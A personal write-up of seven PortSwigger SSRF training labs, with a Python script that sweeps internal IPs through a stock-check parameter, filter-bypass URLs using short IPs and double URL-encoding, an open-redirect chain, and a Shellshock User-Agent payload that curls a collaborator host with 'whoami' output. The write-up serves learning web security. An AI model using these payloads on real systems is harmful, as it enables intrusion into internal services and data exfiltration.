> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/websec/server-side-request-forgery/portswigger-ssrf-writeup.md).

# Portswigger Labs

## Lab 1: Basic SSRF against local server

This lab has an admin interface at `http://localhost/admin`. To solve the lab, delete `carlos`.

When checking stock for a product, I see this request being made via a `stockApi` POST parameter.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-737c3cb090da0f5d447f4ae82ca6fd9fe5776700%2Fportswigger-ssrf-writeup-image.png?alt=media)

Change this to `http://localhost/admin/delete?username=carlos` and send the request to solve the lab.

## Lab 2: SSRF to backend

This lab has an admin interface on `192.168.0.X` on port 8080. To solve the lab, delete `carlos`.

Same thing, there's a `stockApi` parameter that accesses `http://192.168.0.1:8080/product/stock/check?productId=4&storeId=1`.

To solve this lab, I can create a script to brute force each `/admin/delete?username=carlos` interface.

```python
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0a0c00de04d67e5283264bd1007f00cb'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()

for i in range(195, 255):
	octet = str(i)
	print(f'Testing 192.168.0.{octet}')
	data = {
		'stockApi': f'http://192.168.0.{octet}:8080/admin/delete?username=carlos'
	}
	r = s.post(url + '/product/stock', data=data, proxies=proxies, verify=False)
```

Pretty simple.

## Lab 3: Blind SSRF

This requires Burp Collaborator, and the lab uses analytics software which fetches the URL specified in the `Referer` header when a product page is loaded.

Pretty simple, replace the `Referer` header with what is required:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-adb6afa4c5c9e73a1023e8a6f26a604fe010f1ab%2Fportswigger-ssrf-writeup-image-1.png?alt=media)

## Lab 4: Blacklist Input Filter

This lab has a blacklist, and an admin interface at `http://localhost/admin`.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-bbe635761b4c66ffa0a91c2db3d31acc209727c9%2Fportswigger-ssrf-writeup-image-2.png?alt=media)

I tested using payloads from PayloadAllTheThings, and eventually the short-handed IP address worked in bypassing the checker:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ef367e485a1210c360efa4c167b509cdb6143d7a%2Fportswigger-ssrf-writeup-image-3.png?alt=media)

Writing `/admin` results in me getting blocked again, which is probably the second protection used by the lab.

I noticed the visiting `http://127.1/delete?username=carlos` was allowed, which means the `admin` string is being blocked. To bypass this, I used double URL-encoding of `a` to `%2561`.

```
stockApi=http://127.1/%2561dmin/delete?username=carlos
```

## Lab 5: Open Redirection

This lab has an admin interface at `http://192.168.0.12:8080/admin`, and there's an open redirect vulnerability somewhere on the site.

The `stockApi` variable has now been set to the local application.

```
stockApi=/product/stock/check?productId=2&storeId=1
```

Within this particular lab, there's a 'Next Product' function:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-0a0ebe4b3eb06ac8e8309c31176543d9ac5298de%2Fportswigger-ssrf-writeup-image-4.png?alt=media)

The above sends this request:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-85fc4090998ae6ff1f02baf29143362b36bc0b12%2Fportswigger-ssrf-writeup-image-5.png?alt=media)

The `path` variable looks vulnerable since it places its value within the `Location` header in the response.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d575d2e2bb8385e8bfd2e5c283d0edb75dba4c39%2Fportswigger-ssrf-writeup-image-6.png?alt=media)

Changing it to the `path` variable redirects me to the admin panel, which obviously doesn't work since I do not have any connection to the LAN backend.

Since the `stockApi` is restricted to the **local application**, I can make the `stockApi` function be redirected to the admin interface instead, since it should be connected to it.

Setting the `stockApi` to `stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos` solves the lab.

## Lab 6: Shellshock

This lab is vulnerable to the Shellshock exploit, allowing for RCE. The `Referer` header is the vulnerable header.

To solve this lab, exfiltrate the name of the OS user.

Shellshock means that the `User-Agent` header is vulnerable (most of the time).

When I changed the `Referer` header to a Burpsuite Collaborator URL, this is what I get:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f2cd5ea79f1be825cbc8bbf216aefd39dcbb78d2%2Fportswigger-ssrf-writeup-image-7.png?alt=media)

So the `Referer` header is vulnerable to SSRF since it visits any URL specified. This means I can set the `Referer` header to the internal server on `192.168.0.0/24`. This server is the one vulnerable to Shellshock.

Afterwards, I can set the `User-Agent` to this:

```
() { :; }; /usr/bin/curl BURP.oastify.com/$(whoami)
```

This would execute `curl` on the Collaborator URL and use a subshell to get the username. Next, I have to brute force each IP address via Intruder / Python to see which one is valid. The valid IP address would be served the payload, and thus trigger the RCE.

Burp Intruder can do this:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-82bca50d9821196798af996f8426dfaa654f6a3a%2Fportswigger-ssrf-writeup-image-8.png?alt=media)

After the brute force is done, Collaborator receives this:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9cb9a2cd5b30e0d89536e09e8acf15dd0c29928c%2Fportswigger-ssrf-writeup-image-9.png?alt=media)

## Lab 7: Whitelist-based Input Filter

To solve this lab, delete the user `carlos` using `http://localhost/admin`. This lab has an anti-SSRF feature.

When checking stock, this is the URL visited:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-073175801a58f9e5291e81061eebde5d599ab49b%2Fportswigger-ssrf-writeup-image-10.png?alt=media)

Based on the the whitelist portion of Portswigger Academy, it states that we can embed credentials or use the `#` character to bypass certain checks:

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-652b58a36ed7f5b95f09f5c2ba818fd6380648df%2Fportswigger-ssrf-writeup-image-11.png?alt=media)

This lab supports using credentials, and I just needed to set the domain to the default one. So based on this, I can use `http://username@stock.weliketoshop.net` to still visit `stock.weliketoshop.net` and append data.

Within the `username` parameter, I used `localhost:80`, since it followed the password convention. Next, it was still visiting `stock.weliketoshop.net`, so I used a double-URL encoded `#` character before the `@` character.

![](https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c2f8d838ea8a4eaa5416361ed5d3df2c43c4cdcd%2Fportswigger-ssrf-writeup-image-12.png?alt=media)

Without the `#` character, there was an error, indicating that the machine may be 'removing' the valid domain to parse the rest of the URL.

As such, I just included the directory to visit at the back, and it solved the lab.

```
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
```
